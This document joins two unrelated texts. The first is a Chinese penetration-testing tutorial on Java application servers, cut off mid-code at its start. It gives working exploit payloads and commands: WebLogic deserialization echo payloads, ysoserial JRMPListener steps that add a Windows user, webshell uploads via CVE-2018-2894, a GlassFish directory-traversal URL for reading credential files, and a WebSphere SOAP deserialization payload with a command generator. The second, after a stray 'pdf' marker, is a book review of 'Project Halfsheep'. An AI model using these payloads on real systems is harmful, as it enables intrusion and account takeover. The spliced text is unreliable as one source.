throws IOException, IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buffer = new byte[1024 * 4]; int n = 0; while ((n = in.read(buffer)) != -1) { out.write(buffer, 0, n); } return out.toByteArray(); } public static void main(final String[] args) throws Exception { BASE64Encoder base64Encoder = new BASE64Encoder(); //class文件路径 InputStream in = new FileInputStream("C:\\Users\\lxhsec\\Downloads\\WeblogicCode\\src\\main\\java\\ResultBaseExec.class"); byte[] data = toByteArray(in); in.close(); String encode = base64Encoder.encodeBuffer(data); System.out.println(encode); } } yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0x 生成之后使用test_code测试,发现>被解析成了我们想要的。 替换 clazz.makeClassInitializer() .insertAfter("" + "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\"lfcmd\");\n" + "String R = \"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQA + "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();" + "byte[] bt = decoder.decodeBuffer(R);" + "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();" + "Class cl = cls.defineClass(\"ResultBaseExec\",bt);" + "java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});" + "Object object = m.invoke(cl.newInstance(),new Object[]{ua});" + "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrent + "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n" + "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n" + "outputStream.flush();\n" + "response.getWriter().write(\"\");" + ""); 然后运行JDK7u21,编译生成Byte[], 执行。 Weblogic 12.1.3 回显构造 回显构造. 将 clazz.makeClassInitializer() .insertAfter("" + "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\"lfcmd\");\n" + "String R = \"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQA + "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();" + "byte[] bt = decoder.decodeBuffer(R);" + "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();" + "Class cl = cls.defineClass(\"ResultBaseExec\",bt);" + "java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});" + "Object object = m.invoke(cl.newInstance(),new Object[]{ua});" + "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrent + "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n" + "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n" + "outputStream.flush();\n" + "response.getWriter().write(\"\");" + ""); 转换成XMl格式,参考lufei给出的,稍微改一下。 <class><string>org.slf4j.ext.EventData</string> <void> <string> <java> <void class="sun.misc.BASE64Decoder"> <void method="decodeBuffer" id="byte_arr"> <string>yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBB </void> </void> <void class="org.mozilla.classfile.DefiningClassLoader"> <void method="defineClass"> <string>ResultBaseExec</string> <object idref="byte_arr"></object> <void method="newInstance"> <void method="exec" id="result"> <string>whoami</string> </void> </void> </void> </void> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork" id="current_work"> <void method="getClass"> <void method="getDeclaredField"> <string>connectionHandler</string> <void method="setAccessible"><boolean>true</boolean></void> <void method="get"> <object idref="current_work"></object> <void method="getServletRequest"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </void> </void> </void> </void> </void> </java> </string> </void> </class> 执行: Weblogic WLS Core Components 反序列化命令执行漏洞( 反序列化命令执行漏洞(CVE-2018-2628) ) Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意 命令。 使用exploit.py脚本进行复现,具体使用方法见脚本。 Kail Attack :192.168.31.232 Win03 victim : 192.168.124.130 Kail 执行 1)下载ysoserial.jar wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 2)使用ysoserial.jar,启动JRMP Server java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command] 其中,[command]是想执行的命令,而[listen port]是JRMP Server监听的端口。、 这里我执 行java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add' 3)执行exploit.py python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] 其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地(Kail系统上的)ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2 这里我执行python2 exploit.py 192.168.124.130 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.31.232 1099 JRMPClient2 结果如下: 修复建议 修复建议 1.过滤t3协议。 在域结构中点击 安全->筛选器 连接筛选器填: weblogic.security.net.ConnectionFilterImpl 保存后重启Weblogic. kail再次攻击,Exp将报错。 连接筛选器规则可参考官方文档 2.安装补丁,但是保不准下一次Weblogic缝缝补补的黑名单又被绕过。 Weblogic 任意文件上传漏洞( 任意文件上传漏洞(CVE-2018-2894) ) Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。 影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3 下载Weblogic 12.1.3.0 安装的时候将Weblogic放在Java JDK的bin目录下,防止出现因环境变量带空格导致的错误,安装过程一直点击下一步即可。 以下复现是在Weblogic开发模式下进行的,若需在生产模式下进行复现,则需要 登录后台页面,点击base_domain的配置,在"高级"设置中 开启 "启用 Web 服务测试页" 选项,经过我的验证发现开启之后,不仅需要账号密码登陆,即使登陆了也没有这两处上传点。 访问 ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目 录C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css, 因为访问这个目录是无需权限的,提交后,点击左侧 安全-> 添加,然后上传Webshell。 点击提交并抓包,获取响应数据包中的时间戳。 然后访问 http://127.0.0.1:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell: 访问 ws_utc/begin.do,点击右上角的文件夹,上传Webshell,点击提交,并抓包。 在返回数据包中得到Webshell路径。 然后访问http://127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2019-06-07_17-12-18_558/import_file_name_lxhspy.jsp Note: 1)ws_utc/begin.do 使用的工作目录是在 使用的工作目录是在ws_utc/config.do中设置的 中设置的Work Home Dir。 。 2)利用需要知道部署应用的web目录。 3)在生产模式下默认不开启,在后台开启之后,需要认证 修复建议 修复建议 启动生产模式, 编辑domain路径下的setDomainEnv.cmd文件,将set PRODUCTION_MODE= 更改为 set PRODUCTION_MODE=true C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd 目前(2019/06/07) 生产模式下 已取消这两处上传文件的地方。 Weblogic SSRF漏洞 漏洞 ( (CVE-2014-4210) ) 影响版本:10.0.2.0, 10.3.6.0 访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,则可能存在此漏洞,填写任意信息,如下 点击Search,并抓包,抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET。 参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code 若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type。 访问不存在的端口,将返回could not connect over HTTP to server 通过 返回数据包 中的错误信息,即可探测内网状态。 修复建议 修复建议 删除SearchPublicRegistries.jsp文件或修改SearchPublicRegistries.jsp文件后缀为不解析后缀,如SearchPublicRegistries.jspxxx,后重启Weblogic,再次访 问,如下: SearchPublicRegistries.jsp路径为: C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war Weblogic 弱口令 弱口令 && 后台 后台getshell 弱口令参考:https://cirt.net/passwords?criteria=WebLogic 访问http://127.0.0.1:7001/console 自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台。 点击部署,进一步点击右边的安装。 点击上载文件, 选择war包,点击下一步 上传完成以后选中你上传的文件,点击下一步 选中作为应用程序安装,点击下一步 然后直接点击完成即可 选用我们安装的应用,点击启动即可。 访问:http://ip:port/[war包名]/[包名内文件名] 修复建议 修复建议 避免后台弱口令。 GlassFish GlassFish 是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码 以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。 默认端口:8080(Web应用端口,即网站内容),4848(GlassFish管理中心) 默认返回的指纹信息: Server: GlassFish Server Open Source Edition 4.1.2 X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8) 下载4.1.2版本 解压后,进入glassfish/bin目录下打开CMD窗口输入asadmin start-domain启动glassfish asadmin stop-domain 停止glassfish GlassFish Directory Traversal( (CVE-2017-1000028) ) java语言中会把%c0%af解析为\uC0AF,最后转义为ASCCII字符的/(斜杠)。利用..%c0%af..%c0%af来向上跳转,达到目录穿越、任意文件读取的效果。 计算机指定了UTF8编码接收二进制并进行转义,当发现字节以0开头,表示这是一个标准ASCII字符,直接转义,当发现110开头,则取2个字节 去掉110模 板后转义。 UTF8编码模板如下 字节数 字节数 大小范围(十进制) 大小范围(十进制) 字节 字节1 字节 字节2 字节 字节3 字节 字节4 1 U + 0000~ U + 007F(0~127) 0xxxxxxx None None None 2 U + 0080~ U + 07FF(128~2047) 110xxxxx 10xxxxxx None None 3 U + 0800~ U + 0FFF(2048~65535) 1110xxxx 10xxxxxx 10xxxxxx None 4 U + 10000 ~ U + 10FFFF(65536~1114111) 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx C0AF 转换位二进制为 110 00000 10 101111 ,110开头去掉摸板后为00000 101111 转换为10进制为47,ASSCI为/. 受影响版本:<=4.1.2版本 启动GlassFish后 ,访问 http://your-ip:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini, 发现成功读取win.ini文件。 Note:如果在你的机器上不能成功读取,请自行添加 如果在你的机器上不能成功读取,请自行添加..%c0%af 读admin-keyfile文件,该文件是储存admin账号密码的文件,爆破。 位置在glassfish/domains/domain1/config/admin-keyfile 修复建议 修复建议 升级GlassFish最新版本。 GlassFish 后台 后台Getshell 进入后台后 Applications,右边的deploy 选中war包后上传,填写Context Root 这个关系到你访问的url,点击Ok。 访问http://127.0.0.1:8080/[Context Root]/[war包内的filename] Note: 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。Configuration Error Secure Admin must be enabled to access the DAS remotely 修复建议 修复建议 1.不开放后台给外网, 2.若开放 密码强度需设置 包含 大写字母,小写字母,数字,特殊字符,且长度大于10位。 WebSphere WebSphere® Application Server 加速交付新应用程序和服务,它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验。从基于开放标准的丰 富的编程模型中进行选择,以便更好地协调项目需求与编程模型功能和开发人员技能。 下载安装7.0 WebSphere 指纹: Server: WebSphere Application Server/7.0 登录页面: http://127.0.0.1:9060/ibm/console/logon.jsp https://127.0.0.1:9043/ibm/console/logon.jsp Java反序列化 反序列化(CVE-2015-7450) ) 访问8880端口,出现如下界面,则可能存在Java反序列化漏洞 访问8880,并抓包,然后替换如下Payload进行复现,注意更改下Host. POST / HTTP/1.1 Host: 192.168.31.12:8880 User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: text/xml SOAPAction: urn:AdminService Content-Length: 8886 <?xml version='1.0' encoding='UTF-8'?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lb </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxh <operationname xsi:type="xsd:string">getUnsavedChanges</operationname> <params xsi:type="ns1:[Ljava.lang.Object;">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlw <signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature> </ns1:invoke> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Payload执行的命令是 net user lxh lxh /add,效果如下: 如果想要更改执行的命令,可通过如下代码,代码在python3下执行。 import base64 from binascii import unhexlify command = "net user lxh lxh /add" serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657 serObj += (chr(len(command)) + command).encode('ascii') serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E serObjB64 = base64.b64encode(serObj).decode() print(serObjB64) 将输出的serObjB64,替换到上面Payload中的params节点,其余无需改变。 <params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params> 回显参考DeserializeExploit.jar(laster) 修复建议 修复建议 7.x版本已不提供支持,因此选择升级版本。 若版本还在IBM支持范围,可选择打补丁。 弱口令 弱口令 && 后台 后台Getshell 1. 在6.x至7.0版本,后台登陆只需要输入 admin作为用户标识,无需密码,即可登陆后台。 2. websphere/ websphere 3. system/ manager 1.点击WebSphere 企业应用程序,点击安装。 2.上传war包,点击下一步。 3.一直点击下一步,直到下图,填写上下文根,关系到你访问的URL,接着一直点下一步直到安装完成。 4.安装完成之后,点击保存主配置,然后回到WebSphere 企业应用程序,选中war包启动,访问shell。 修复建议 修复建议 设置密码。 参考资料 参考资料 https://www.google.com.hk https://www.baidu.com http://www.wooyun.org https://github.com/vulhub 漏洞列表 http://cve.mitre.org 漏洞列表
pdf
1 Half a Sheep is Better Than None A great deal of the pleasure of reading “Project Halfsheep: or How the Agency’s Alien Got High” by Susan Hasler comes from reading the novel on several levels. One level is the story of an alien from the planet Utorb who crash lands on earth and falls into the hands of the American military and the CIA shortly after World War 2. A second level is a view through a window of irony into the culture of the CIA in its green and cowboy days, when fear of Communists was at its highest and justified doing almost anything on behalf of the “free world.” That “anything” included experiments with unwitting and unsuspecting subjects, often administering drugs to the unwary, as the CIA did for example in houses of prostitution in San Francisco and New York, so the effects could be observed. Humor and the alien’s unique point of view ameliorates to a degree the more horrific effects of those experiments. Like looking at the head of Medusa in a mirror, reality is made bearable. A third level is the braiding of several themes which suggest some of the author’s biography, giving us a template of how a CIA veteran of many years of hand-to-hand combat with genuine enemies of the nation, the culture of the agency, men who were contemptuous and abusive of women, and the politics of careerism and expediency – how she managed to manage all that. The author’s humanity, values, and commitments, which must have evolved through years at the agency, permeate those threads and, I suggest, culminate in the choices made by the alien. The frustration that comes with that hand-to-hand combat takes a toll. If consequences are unacknowledged, a person can wind up bent, but when the emotions are felt and “owned,” they can be channeled into narratives like this one, translated into literary artfulness, that is, that serves a higher purpose, and translated as well into an enjoyable story that masquerades as a science fiction/”spy novel” but is so much more. As one of the characters in the books says, it was not worth it to read popular spy novels because they are “so silly.” The author ought to know. This book is not silly. It is deadly serious but the portraits of military and intelligence professionals, composites one guesses of the middle-of-the-bell curve careerists the author met along the way, constitute a dark farce, a bittersweet comedy, although sometimes it is just plain awful, as we grasp what things were and are done, with deadly consequences. Any person over thirty can make a case for succumbing to the inhumanity into which they are assimilated by their corporate structure over time as they learn the unwritten but essential rules of the culture and disobey them to their detriment—whatever the culture, governmental, corporate, religious, academic, non-profit – they all require it to a degree. But perhaps the sixteen extant intelligence structures ask even more of a person because reinforcement is from within, while brickbats are thrown – often by those mired in 2 invincible ignorance – from the outside. That’s one reason the willingness of the director to “go to the mattresses” to defend a team that can not speak for itself is so important. That dynamic makes compliance with the ethos of the agencies even more compelling. It also makes internal conflicts inevitable. The emotions shelved during a long career do not go away, and in “Project Halfsheep” as in Hasler’s “Intelligence,” the residual fury glows through the narrative like white fire through the chinks of a stove. When one works “inside” – when one works for the CIA – what one can say “outside” and how one can say it is highly constrained. Even fiction is forbidden as an outlet if classified information, however disguised, is revealed. The lead character in “Three Days of the Condor,” a CIA operative, read fiction, after all, to learn what was real. That narrows the choices for a person unused to being quiet (e.g. Susan Hasler, these novels constituting the proof of my assertion), and who choose as a path to sanity the alchemy of fiction. Literary works are more than biography or therapy – such a reductionist approach leaves out the essence and value of the work – but it’s impossible to read Project Halfsheep without picking up on the themes as biographically significant. Those themes are woven into a skein which refuses to sacrifice the “white hot rage” as I called it in a review of “Intelligence” which is transformed into a dramatic narrative that transcends whatever motives triggered the author’s literary career. In addition, one way to bypass that taboo on revealing classified information is to wait until the details are long past and/or no longer classified (duh), when it is safe to tell the story. Then the story can be used to speak to current issues without naming them, a standard method of political satire. This story, set in the 1940s and 1950s, is about the errors made, once upon a time, in pursuit of techniques of brainwashing and the value of using hallucinogens on unsuspecting subjects. Details of those projects were leaked into the public domain only because financial documents were overlooked when the Director ordered all documents related to them destroyed. So history piggybacks on fiction for those unwilling to research historical details. But Project Halfsheep does more than that. The story is dramatic because it comes to life through characters with mixed motives some of whom change as they engage with the alien over time. A capacity for growing empathy is conveyed by the female psychiatrist Lee, culminating in claiming her own biographical details as source materials for her personality and career. But some of the people to whom the alien is delivered change little or not all. They treat the alien as a creature, a thing, with no “humanity” (so to speak). The progressive revelation of the Halfsheep’s humanity, enabling the reader to participate vicariously in the transformation of the hapless prisoner from cultural and biological anomaly to a friend who acts on behalf of another at a critical moment, culminates in an epiphany: one feels at the end more sympathetic, more empathetic, to the Halfsheep (read the book to see why and how the alien gains its various names, which are pretty funny) than to most of the humans, whose treatment of the “other,” symbolized by the alien, is dehumanizing of both. The “other” is not just the captive creature, however, whose otherness is obvious as a benchmark but women above all who are abused by men, “enemies” dehumanized so they can be tortured, “direct reports” who in a hierarchical military culture are treated as less than human by superiors – just about 3 every relationship in the book is characterized by abuse and over time the abused discover ways to set boundaries (often at significant cost to themselves) and the abusers respond in various ways to the autonomy, initiative and boldness of people who are mad as hell and just won’t take it any more. All that is in “Project Halfsheep.” So while there are laugh-out-loud moments of dark farce, the narrative as a whole is sobering. It invites the reader to apply the details of the bygone period in which the narrative takes place to current events: the use of torture in the war against terror (I don’t mean water boarding, I mean torture, the kind that results in what interrogators call an “oops death”), persistent inequities in military cultures and the intelligence “community,” and the demonization of others to justify savage treatment when they won’t do as they are told. So yes, laughs punctuate the tension, but the book as a whole isn’t funny. It’s a vehicle for a serious rendition of behaviors and issues that obviously are more than academic to the author. After a lifetime in the “mines” of the CIA, these issues clearly matter to her more than a little. Hasler obviously has the skills of an analyst – separating signals from noise, connecting dots, synthesizing and articulating a narrative that is not projected or imposed on the data but emerges from the data points themselves. Years in “the mines” have also honed the skill of arguing her position against inevitable pushback from well-meaning colleagues, careerists with other agendas, men who just don’t like women in positions of responsibility, and politicians who distort and abuse the end product of analysis for their own purposes. That experience strengthens and stiffens one’s backbone, because one learns that nothing but forthrightness works – not deference, or laughing and touching a man’s arm coquettishly, or silence that signifies assent – nothing. This shows up above all in the psychiatrist Lee, but maybe the reader can glimpse a little of the author in her role as analyst in the HBO documentary, “In Search of Bin Laden,” which illuminates the context of some of her counter-intelligence work after 9/11. In addition, over a long career, Hasler had the intelligence, imagination and empathy to write speeches for three CIA directors. That requires a grasp of the real essence of the other, personality as well as positions, and that goes beyond left-brain analysis. (I once had a “cottage industry” writing speeches for someone a lot less significant than agency directors and know that it takes getting inside the skin of another and articulating their positions in their own voice.) That is what Hasler tries and mostly accomplishes with her delineation of the culture of Utorb and the Halfsheep. I say “mostly” because the fabric weakens from time to time, the construction is sometimes cerebral rather than imaginative, it is thought, that is, then written, translated from ideas rather than spoken in the native tongue of the culture and species and embodied in images and dramatic events. That imperfect accomplishment suggests something demanded by real counter- intelligence – the understanding of humans from another culture, another thought world, and getting inside them, working them from the inside out. That task is always imperfectly achieved, however native we go. So if that’s a flaw in the book, it is because 4 the reach – to another planetary culture entirely, to a personal history that is genuinely “other” – is so far, as the author attempts to intertwine the story of the alien with the stories of all the other “others” in the book. The psychiatrist Lee is assigned to observe a male protagonist, Lloyd, who was traumatized by torture, making him a hybrid of a manly-type man and a damaged and abused human i.e. a “womanly” man in terms of the metaphors of the book (“I’d rather be on the side of the human spirit,” he says, identifying the ethos that ultimately competes with abuse). Lloyd’s sister Trudie understands the alien straightaway, in part because her own primary relationship has taught her empathy beyond the norm. Trudie has to learn a strategy to liberate herself from the derision and contempt of a man whose cruelty would be cartoonish if it wasn’t on the front pages (or web sites) every day. So yes, abusive relationships characterize most relationships in the book, one way or another, whether it is a superior berating and demeaning a direct report, men contemptuous of women, or the treatment of an alien subjected to horrendous experiments in order to learn what Communists (we thought) were doing to brainwash Americans. That latter thread treats our early attempts to do that – Projects Bluebird, Artichoke (thinly disguised here as “Asparagus”), MK Ultra and more. Those experiments, we know now, were ironic, in that the Communists had no secret method of brainwashing, but used brutal techniques synchronous with their military and political cultures. The effort to duplicate their techniques was also ironic in two other ways – (1) it parallels the CIA’s appointment of itself as an ad hoc “ministry of culture” to covertly create and sustain books, magazines, movies, art expositions, media of every kind, to show the superiority of a free and open society, but (ironically) executed covertly and secretly, and (2) the creation of severe training regimens to accustom Americans to torture, using methods that were not used by anyone else, but which became our methods to interrogate prisoners in the war on terror when their inventor was charged with that interrogation. The recitation of the details of the use of powerful drugs on unsuspecting subjects–the CIA, after all, brought us LSD - is safe because so much time has passed, so there is no worry about accountability for those actions. Verisimilitude is enhanced by the casual mention of, for example, Frank Olson (called “Fred Ogden” in the book) who died as a result of a long plunge from a high window after he was fed LSD. That story can be referenced because we know about it now, and accountability is moot, since we know that attempts by the family to sue the government for damages have never availed. In fact, they never do. One particularly humorous account that resonates with “what everybody knows” is a story of the “Roswell event,” here depicted as a red herring created from whole cloth as an act of misdirection (“look over here while we really recover an alien there”). The method if not the particular event is absolutely solid and common practice in operations of cover and deception. In the context of the story, it is one big funny “dot” which cannot be connected to other dots, a linkage UFOlogists seek, without success. The anecdote 5 also suggests the real extent of what organizations with prodigious resources can do to create illusions and misdirection. Reviewing “Intelligence,” I noted that anger at political expediency both inside and outside the agency was ever present, and I have to return to that fact. Lee is angry too, made so by continuous marginalization, and so is Trudie, but the Halfsheep’s angry response is mitigated by different cultural and biological structures. As the alien comes to understand both the intermittent light of the human spirit, interspersed with prolonged periods of torment, the reader grows in the realization that we and the alien do have a common shared “humanity.” “Humanity” in that sense transcends species and forms of intelligent life. I can only infer that Hasler sustained her own “humanity” in a somewhat similar way. Her 23 years at CIA resulted in a strong no-nonsense woman who learned the value of telling it like it is (and the futility of holding anything back), a woman who had to balance the higher motives of a career in intelligence with the facts of life on the ground (or underground in “the mines”) – who had to learn how to be a woman in a culture that did not treat women well (see e.g. “CIA Disciplines 15 Officers in Harassment Cases” an AP story on June 10 2014). She had to achieve that balance and still do excellent work. So she must have had at least two personas – she was at once the “other” who had to learn to be effective without sacrificing her own humanity in the process AND she was an analyst and speechwriter who had to understand deeply the “others” in her culture (men, for example, with all that assumption of privilege brought) and terrorists bent on doing horrific things to “us, our family and friends,” which defines the identity of who must be protected. It is difficult NOT to dehumanize terrorists in light of what they execute and plan. The high stakes of failure to prevent attacks can make one willing to do whatever is necessary to achieve those ends. No one who has not been in that particular trench can understand what that responsibility and knowledge generates in a human being. So it must have been a balancing act, and a psychological and spiritual challenge, to get inside the skin of the “enemy” and see the world through their eyes, which meant at the same time assimilating a deep knowledge of their humanity, the humanity of the “other,” which creates sympathy that must be transcended to stay on task. The allegiance to country, tribe, and clan, to the agency, to the task at hand had to be balanced against allegiance to humanity itself, to the “side of the human spirit,” and to the overarching commonality of the best and the worst in humans in this world and others. Did I mention that the journey down these rabbit holes is enjoyable for the reader? The book is often delightful to read, however mitigated by serious issues. The reader steps back from a seemingly sci-fi work to reflect on how this is not just sci-fi after all, or if it is, it is sci-fi as metaphor for current challenges to the human spirit. Science fiction is, after all, how left brain societies dream of their futures. It is not in the foreground of most people’s thoughts, that the challenge of confronting aliens not from south of the border but from other planetary civilizations and negotiating a common understanding in light of our obvious inferiority to more advanced cultures – that’s real, and that will be a primary challenge in this century. The encounter with the 6 other – other kinds of humans, other kinds of intelligent feeling beings – must engage us, like it or not, and a good way to start to do that, if you haven’t already, is by reading this book. The themes are not trivial. Hasler does as well as one can, describing a culture that is not ours and the kinds of beings it might produce over a long and different history. She does so on behalf of all the beings who ally with the human spirit and the more-than- human spirit. By the end of the book, our understanding of the alien has become by proxy a journey toward a sense of kinship with the whole web of sentient life spun throughout the galaxies, and it reveals by contrast just how plain dumb we often are about that most of the time. So the book is a journey from hierarchical structures of domination and control to learning how to live in networks and webs, in which presence and participation at nodes are the sources of our real power. That power is intrinsic to our humanity and is inviolable, and the only thing enemies of the human spirit can do is convince us we don’t have it, so we won’t use it. Lloyd, Lee, Trudie, and the Halfsheep all transcend the people and systemic dynamics that assault their shared humanity to learn how to exercise that power with courage, dignity, and when the chips are down, genuine heroism.
pdf
